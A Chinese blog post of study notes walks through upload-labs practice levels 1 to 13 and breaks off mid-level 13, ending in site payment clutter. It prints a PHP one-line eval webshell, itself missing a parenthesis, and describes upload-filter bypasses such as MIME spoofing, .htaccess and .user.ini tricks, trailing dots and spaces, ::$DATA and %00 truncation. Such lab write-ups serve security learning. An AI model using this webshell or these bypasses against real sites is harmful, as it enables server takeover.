uploads1-21通关

本文分享了作者在一周学习中的黑客攻防实践,包括使用VSCode编写木马、利用MIME类型修改文件上传策略、htaccess文件的应用、以及通过各种技巧如编码、截断等绕过文件名限制来成功上传恶意文件的过程。
摘要由CSDN通过智能技术生成

第四周学习心得(upload-labs)

pass-01

1、 首先使用vscode写一个一句话木马(<?php eval(@$_POST['password'];?>
)接着在网上找一张图片(因为本身木马不能很隐蔽的植入,所以需要对其做一些修饰)将一句话木马插入图片中(将图片格式转化为txt再在最后写一个一句话木马即可)。
打开uploads,进入第一关,我们可以看到如下界面在这里插入图片描述
点击提示在这里插入图片描述
通过提示我们可以了解到只需绕过js上传文件即可,f12打开检查界面在这里插入图片描述ctrl+shift+c打开选项元素找到checkfile,删除后上传预先准备好的一句话木马 ,将图片的jpg改为php形式即可上传
2、上传后在upload-labs所在文件夹中找到upload打开如果其中 有我们上传的php文件则本题成功完成

pass-02

进入pass-02,点击提示后出现 如下界面在这里插入图片描述
ps:关于mime

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
它是一个互联网标准,扩展了电子邮件标准,使其能够支持:
非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
这个标准被定义在RFC 2045、RFC 2046、RFC 2047、RFC 2048、RFC 2049等RFC中。 MIME改善了由RFC 822转变而来的RFC 2822,这些旧标准规定电子邮件标准并不允许在邮件消息中使用7位ASCII字符集以外的字符。正因如此,一些非英语字符消息和二进制文件,图像,声音等非文字消息原本都不能在电子邮件中传输(MIME可以)。MIME规定了用于表示各种各样的数据类型的符号化方法。 此外,在万维网中使用的HTTP协议中也使用了MIME的框架,标准被扩展为互联网媒体类型。

2、提示说要对数据包的mime进行检查,那么我们就上传一个php文件并对其进行抓包在这里插入图片描述抓到以后将Content-Type部分(文件类型)改为image/jpeg后发送即可完成。

pass-03

打开pass-03,查看提示可知这个题是将在这里插入图片描述
这些后缀文件加入了黑名单,所以只需要换个不在黑名单里的后缀(如php3,php5等)就好了,但是值得注意的是,我们使用的是phpstudy,所以还需要在apache中的conf文件夹找到http.conf将AddType application后加入php3,php5等后缀才能添加文件,改变文件后缀后上传文件即可成功。

pass-04

1.打开pass-04,查看提示在这里插入图片描述
可知本题应该也是黑名单验证方面的,但是这个限制可以说是相当多,但是没有hatccess
ps:关于hatccess:.htaccess文件(或者分布式配置文件),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
2.启用htaccess文件
打开apache,找到http.conf文件,将其中的allowoverride none改为allowoverride all启动htaccess
3.创建一个htaccess文件在这里插入图片描述
4、创建一个图片木马在这里插入图片描述
5、在上传文件处先上传png文件再上传htaccess文件即可

pass-05

1、打开pass-05,查看提示在这里插入图片描述可知没有被限制的后缀名有php7,ini,所以我们准备使用ini
ps:关于ini
user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
设置可被识别。

两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
我们写一个.user.ini文件并上传在这里插入图片描述
接着上传我们之前的图片木马,打开http.conf(具体过程之前有所提及)在这里插入图片描述
将这里的300改为较短的时间,然后重启小皮,等待你写的时间后进行下一步操作
2、打开蚁剑,复制图片地址并连接,将后缀改为readme.php上传即可

pass-06

打开文件查看提示在这里插入图片描述
可以发现大小写后缀没有被禁止,所以只需把后缀大小写改一下即可上传

pass-07

打开pass-07,查看提示在这里插入图片描述观察可知没有限制trim()使用,所以可以用 空格来绕过黑名单上传,打开burp,上传一句话木马同时抓包,在这里插入图片描述在zoe.php后加空格(有的可能要用编码%20)然后放包后即可成功上传

pass-08

打开pass-08,查看提示 在这里插入图片描述本关将所有能解析的后缀全部禁用了,但是没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过,上传自己写的一句话木马并用burp进行抓包
在这里插入图片描述
将文件名后缀php后加.(再加一个扩展名)发包即可成功

pass-09

打开文件,查看提示在这里插入图片描述
查看源码在这里插入图片描述没有对:: D A T A 进 行 处 理 ,
ps:::data:补充知识:php在window的时候如果文件名+“:: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA"之前的文件名 他的目的就是不检查后缀名。
可 以 使 用 : : DATA进行处理,可以使用:: DATA进行处理,可以使用::DATA绕过黑名单,上传一句话木马,在后缀处加上: : DATA后发包 即可完成

pass-010

​ 打开pass-10,查看提示与源码在这里插入图片描述在这里插入图片描述在这里插入图片描述我们知道,deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,所以只需要上传写好的一句话木马并抓包在后缀后加 .在发包即可

pass-011

​ 打开pass-011,查看提示与源码在这里插入图片描述在这里插入图片描述由str函数可知,本题可以使用双写验证绕过黑名单,所以上传一句话木马后抓包在这里插入图片描述将php后缀改为pphphp后发包即可

pass-012

​ 打开pass-012与提示在这里插入图片描述

在这里插入图片描述观察可知可以使用%00截断绕过黑名单,上传自己的一句话木马,使用burp抓包后将url的upload后添加你的一句话木马名称加0x00,再将名称处后缀改为png发包即可

pass-013

打开paass-013,查看提示与源码在这里插入图片描述在这里插入图片描述观察可知本题可以使用post截断绕过白名单,上传一句话木马,使用burp抓包

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值